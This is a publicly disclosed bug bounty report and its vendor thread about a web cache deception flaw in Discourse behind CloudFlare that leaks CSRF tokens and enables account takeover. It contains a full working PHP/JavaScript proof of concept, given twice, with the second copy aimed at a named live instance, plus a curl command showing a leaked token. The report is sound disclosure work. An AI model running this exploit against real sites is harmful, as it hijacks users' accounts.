CSRF-tokens on pages without no-cache headers, resulting in ATO when using CloudFlare proxy (Web Cache Deception)
State Resolved (Closed)
Disclosed publicly 2018-08-08T18:00:12.220Z
Reported To
Weakness Cross-Site Request Forgery (CSRF)
Bounty $256
Collapse


Timeline
submitted a report to Discourse .
2017-08-16T13:06:55.522Z

Hi,

I noticed this issue on one of your clients which was using CloudFlare in front of their Discourse. This is not affecting try.discourse.org but the same underlying issue can be seen there as well even though it's not exploitable on that specific domain.

The TL;DR of issue is basically: Discourse instance is vulnerable to account takeover if Discourse is served behind a CloudFlare proxy due to the lack of no-cache headers on pages with CSRF-tokens.

As you might understand due to this, the PoC below is not working on try.discourse.org. I haven't provided any other example, but let me know if I should do a trial version setting it up behind CloudFlare myself. My guess is that you maybe want to try this out yourself, since you want to verify that the vanilla setup in CloudFlare still makes Discourse vulnerable.

Background

You might have heard about the Web Cache Deception attack. The idea is basically to fool the cache proxy, in this case CloudFlare, to cache content which belongs to the victim inside the CloudFlare proxy layer. This makes it possible for anyone in the same CloudFlare region to fetch the leaked data without any authentication.

Any URL having a file ending with one of CloudFlare's mime types will be cached for the whole region. Remember, a region is big and there are only 13 of them in total (in my case, the region is Western Europe). Here's a reference from CloudFlare about their regions.

This attack vector was coined by Omer Gil earlier this year ( https://www.slideshare.net/OmerGil/web-cache-deception-attack ).

Technical details

The issue with Discourse is that there's a lot of routes which all of them exposes the user's CSRF-token as well as the user's username in the header. This applies not only to status 200 but also to status 404.

Here are some routes which will return status 200 on try.discourse.org even if we have appended .css on them (which is a trigger for CloudFlare to cache this URL):

/u/my/preferences.css
/u/my/preferences/username.css
/u/my/preferences/card-badge.css

Results in:

HTTP/1.1 200 OK
X-Discourse-Route: users/preferences

HTTP/1.1 200 OK
X-Discourse-Route: users/preferences

HTTP/1.1 200 OK
X-Discourse-Route: users/card_badge

(This seems to be a general issue with the X-Discourse-Route: users/* routes)

Also, the normal 404-page actually reveals the current user's CSRF token (this request is done while being signed in):

GET /u/x.css HTTP/1.1
Host: try.discourse.org

<meta name="csrf-token" content="aYBW0N/1nfI1PHBa24YNx+...+BJJX+Fg==" />

You currently don't have try.discourse.org behind CloudFlare, but I've verified with a few instances that I noticed did.

What you will see is the following:

Issuing the following request twice while being signed in:

GET /u/x.css HTTP/1.1

Will lead to:

CF-Cache-Status: HIT

As well as:

X-Discourse-Username: test

<meta name="csrf-token" content="6bE...VnlQ==" />

Same thing with /u/my/preferences.css.

The issue is that none of these routes, exposing the CSRF-token and the username, has any Pragma, Cache-Control or Expire-headers, so there's nothing that tells CloudFlare not to cache these URLs.

PoC

You need an instance behind a CloudFlare-proxy, with no settings more than just enabling CloudFlare on the domain:

Now, we can use the following script as a PoC, remember that if we would attack someone, we would need to fetch the URL server-side from the same CloudFlare-region as the victim. This should be no problem, since there's only 13 regions in total.

What this script will do is this:

  1. Victim is signed in to a Discourse instance which is behind a CloudFlare-proxy
  2. Victim vists a malicious page by the attacker
  3. The page will issue three requests using img-tags to /u/$rand.css, to make sure that the CloudFlare cache is tainted with the current user and its CSRF-token
  4. After the images has loaded, the PHP-script will fetch the same URL server-side, which requires the PHP-script to be in the same CloudFlare region (my region right now for example is Western Europe).
  5. The script will extract the username from the X-Discourse-Username header and the CSRF-token from the HTML
  6. The PHP-script will return these two values to the malicious site, and a form will be crafted:

    POST /users/$username/preferences/email.json HTTP/1.1
     
    _method=PUT&email=$attacker_email&authenticity_token=$csrf_token
    
  7. Email is now changed for the victim, the attacker will get a verification email. When attacker have clicked on the verification email, the email is now changed. The victim will however get an email saying the email was changed, but the change has already happened.

Here's the script. It seems like _forum_session-token has SameSite=lax which is great, however, this is not yet implemented in Firefox, so try this in Firefox. You need to point it to an instance which is behind CloudFlare proxy.

<?
$discourse = "https://discourse.instance.behind.cloudflare.proxy"; //like https://try.discourse.org but behind CloudFlare
$email_to_change_to = "[email protected]";

if(!empty($_GET['fetch'])) {
    $f = [@intval](/intval)($_GET['f']);
    $ctx = stream_context_create(array('http' => array('ignore_errors' => true)));
    $data = file_get_contents($discourse.'/u/'.$f.'.css', false, $ctx);
    preg_match('/name="csrf-token" content="([a-zA-Z0-9\/=+]+)"/', $data, $matches);
    if(!empty($matches[1])) {
        preg_match('/X-Discourse-Username: (.*)/', implode("\n", $http_response_header), $name_matches);
        echo $matches[1].';'.$name_matches[1];
    } else {
        echo 'error';
    }
    exit;
}
#random file to taint with csrf-token
$rand = mt_rand(100000,999999);
?>
<html>
  <body>
    <img src="<?=$discourse?>/u/<?=$rand?>.css" />
    <img src="<?=$discourse?>/u/<?=$rand?>.css" />
    <img src="<?=$discourse?>/u/<?=$rand?>.css" onerror="f()" />
<script>
var user = '', change_email_to = '<?=$email_to_change_to?>';
function f() {
    fetch('?fetch=1&f=<?=$rand?>').then(function(e){return e.text()}).then(function(e){
        if(e == 'error') { alert('You are currently running the PHP on a different Cloudflare region'); return; }
        user = e.split(';')[1];
        document.getElementById('f').action = '<?=$discourse?>/users/'+user+'/preferences/email'
        submitRequest(e.split(';')[0])
    })
}
function submitRequest(csrf) {
  var xhr = new XMLHttpRequest();
  xhr.onerror = function () {
    console.log(xhr.readyState)
    if(xhr.readyState == 4) {
        alert('Account email for ' + user + ' has been changed to: ' + change_email_to);
    }
  };
  xhr.open("POST", "<?=$discourse?>/users/"+user+"/preferences/email.json", true);
  xhr.setRequestHeader("Accept", "text\/html");
  xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
  xhr.withCredentials = true;
  var body = "_method=PUT&email=" + encodeURIComponent(change_email_to) +"&authenticity_token=" + encodeURIComponent(csrf);
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
  xhr.send(new Blob([aBody]));
}
</script>
    <form action="" id="f" method="POST">
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="email" value="<?=$email_to_change_to?>" />
      <input type="hidden" name="authenticity&#95;token" id="csrf" value="" />
      <input type="submit" style="display: none;" value="Submit request" />
      Please wait...
    </form>
  </body>
</html>

If you try this against a Discourse instance while being signed in, you should see something like this when visiting this script:

Mitigations

Add the no-cache headers, Cache-Control and/or Expire on any of the templates that outputs the CSRF-token, this will prevent CloudFlare from caching information which is user specific. I would also recommend doing the same thing when the X-Discourse-Username is returned.

Let me know if you need any additional information.

Regards,
Frans

Regards,
Frans

asuka Activities::BugNeedsMoreInfo
2017-08-28T20:18:09.487Z
Hello @fransrosen, thanks for your report! We need some more information before we can properly review this report. Is it possible you could provide a PoC instance behind Cloudflare showing how the issue could be exploited? Thanks again for your report and we hope to hear back from you soon.


fransrosen Activities::BugNew
2018-01-14T22:47:57.598Z
Hi, Sorry for the late reply here. I finally got an approval from Algolia to make my PoC using their Discourse-instance, which was also the site I found this on initially. Their setup of Discourse is using SSO to their regular site, but I can still do the account takeover by changing the email address in Discourse. The bug is reproducible in Firefox, for some reason the SameSite: Lax is not really working in that browser, so `_forum_session` is still sent with the image embedding from my test-page, and the form-posting with the CSRF-token actually also works. I'm testing with Firefox 57.0.4 in macOS 10.13.2. You need to run the PHP-code in the same region as you're in when trying, this is because the CloudFlare region is the one doing the cache of `.css`. As mentioned, CloudFlare only have 13 regions so it should be fairly straight forward. My code looks like this in the demo: ```php <? $discourse = "https://discourse.algolia.com"; $email_to_change_to = "[email protected]"; $file = "/u/%d.css"; if(!empty($_GET['fetch'])) { $f = @intval($_GET['f']); $file = sprintf($file, $f); $ctx = stream_context_create(array('http' => array('ignore_errors' => true))); $data = file_get_contents($discourse.$file, false, $ctx); preg_match('/name="csrf-token" content="([a-zA-Z0-9\/=+]+)"/', $data, $matches); if(!empty($matches[1])) { preg_match('/X-Discourse-Username: (.*)/', implode("\n", $http_response_header), $name_matches); echo $matches[1].';'.$name_matches[1]; } else { echo 'error'; } exit; } #random file to taint with csrf-token $rand = mt_rand(100000,999999); $file = sprintf($file, $rand); ?> <html> <body> <img src="<?=$discourse.$file?>" /> <img src="<?=$discourse.$file?>" /> <img src="<?=$discourse.$file?>" onerror="f()" /> <script> var user = '', change_email_to = '<?=$email_to_change_to?>'; function f() { fetch('?fetch=1&f=<?=$rand?>').then(function(e){return e.text()}).then(function(e){ if(e == 'error') { alert('You are currently running the PHP on a different Cloudflare region'); return; } user = e.split(';')[1]; document.getElementById('f').action = '<?=$discourse?>/users/'+user+'/preferences/email' submitRequest(e.split(';')[0]) }) } function submitRequest(csrf) { var xhr = new XMLHttpRequest(); xhr.onerror = function () { console.log(xhr.readyState) if(xhr.readyState == 4) { alert('Account email for ' + user + ' has been changed to: ' + change_email_to); } }; xhr.open("POST", "<?=$discourse?>/users/"+user+"/preferences/email.json", true); xhr.setRequestHeader("Accept", "text\/html"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "_method=PUT&email=" + encodeURIComponent(change_email_to) +"&authenticity_token=" + encodeURIComponent(csrf); var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="" id="f" method="POST"> <input type="hidden" name="&#95;method" value="PUT" /> <input type="hidden" name="email" value="<?=$email_to_change_to?>" /> <input type="hidden" name="authenticity&#95;token" id="csrf" value="" /> <input type="submit" style="display: none;" value="Submit request" /> Please wait... </form> </body> </html> ``` And the flow looks like this: 1. Sign up for Algolia at https://www.algolia.com/users/sign_up 2. When done, go to https://discourse.algolia.com/ and "Log in" 3. Make sure the PHP-file is running on the same CloudFlare region, you can try it locally by: `php -S localhost:8000 algolia.php` 4. Change the email address in the PHP-script to something else maybe, so you see that you indeed get the confirmation email sent to the new address to confirm the change. 5. Go to `http://localhost:8000` in Firefox. You should see an alert that the email was changed. This is also the point when the attacker gets a "Confirm your new address" to their inbox as my video shows. PoC-video: {F253981} The reason why all this works to refresh everyones memory on this bug, is that any path under `/u/*.css` will respond when signed in with CSRF-tokens in the error page. Since there are no proper Cache-Control headers on this 404 page, CloudFlare will happily cache the file since it thinks it's a CSS-file. If there would be a `Cache-Control: no-cache` whenever CSRF-tokens are in the templates, this attack would not work. Also, to show you that it does in fact get cached on CloudFlare, here are the same URL tried in my region, and all of them are showing the user's CSRF-token when the file was requested, which is the one I'm using to trigger the email-change: {F253980} {F253979} ``` local @ cache $ curl -s https://discourse.algolia.com/u/469843.css | grep csrf-token <meta name="csrf-token" content="CaTKE2wq4jczCZO+LTasy6SvBBHxaYJr9giqym1PSaCtgz5IgofUOmrufGYdrnTgS8ZHM67/SPgUAroHv1zMFw==" /> ``` The only setup Algolia made here was to put the Discourse-application behind CloudFlare. This is a regular setup if you're using CloudFlare's proxy to speed up the website and to hide the origin and sometimes make sure you're protected against DDoS. Hope this helps, and sorry for my late reply. Regards, Frans


asuka Activities::Comment
2018-01-21T09:37:15.700Z
Great find @fransrosen! We've escalated this to the development team to see if this is something they would like to fix, and will get back to you as soon as we have any updates. Kind regards, @asuka


discourse_team Activities::Comment
2018-01-31T22:24:55.285Z
We view this as low priority but we do eventually want to make it so bad .css requests don't return 200. > The reason why all this works to refresh everyones memory on this bug, is that any path under `/u/*.css` will respond when signed in with CSRF-tokens in the error page


discourse_team Activities::ReportSeverityUpdated
2018-01-31T22:25:09.199Z


discourse_team Activities::BugNeedsMoreInfo
2018-01-31T23:27:31.070Z
We are not sure we can repro this? We are hitting `try.discourse.org/u/samsaffron/activity.css` and getting a response code of 406? ``` [email protected]:~$ curl -I https://try.discourse.org/u/samsaffron/activity.css HTTP/1.1 406 Not Acceptable Server: nginx/1.13.6 Date: Wed, 31 Jan 2018 23:24:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive X-Request-Id: c2757c97-24a1-484c-97a3-56d203acf8a5 X-Runtime: 0.024248 Discourse-Proxy-ID: app-router-tiehunter01 Strict-Transport-Security: max-age=31415926 ``` Is the report specific to the redirect routes `/users` and `/my` then?


Activities::BountyAwarded
2018-02-01T21:29:02.981Z
We agree this was effectively a bug, we should not be returning 200 OK plus auth tokens for random URLs such as ``` /u/my/preferences.css /u/my/preferences/username.css /u/my/preferences/card-badge.css ``` Although the impact is low (effectively CloudFlare specific) I am awarding at the medium level because this was such a well written and researched report -- thank you! This is also fixed in master / latest.


fransrosen Activities::BugNew
2018-02-02T04:28:31.142Z
Thank you! I haven't confirmed the fix yet but I have seen fixes been done by always serving Cache-Control: no-cache whenever the current user is signed in, as some cache settings in Cloudflare also allows caching 404 responses if no cache-header is present. Great job, glad that it could get solved, sorry for the long delay of getting a proper PoC.


discourse_team Activities::BugResolved
2018-02-02T06:11:25.477Z


fransrosen Activities::AgreedOnGoingPublic
2018-07-09T18:00:09.615Z


Activities::ReportBecamePublic
2018-08-08T18:00:12.277Z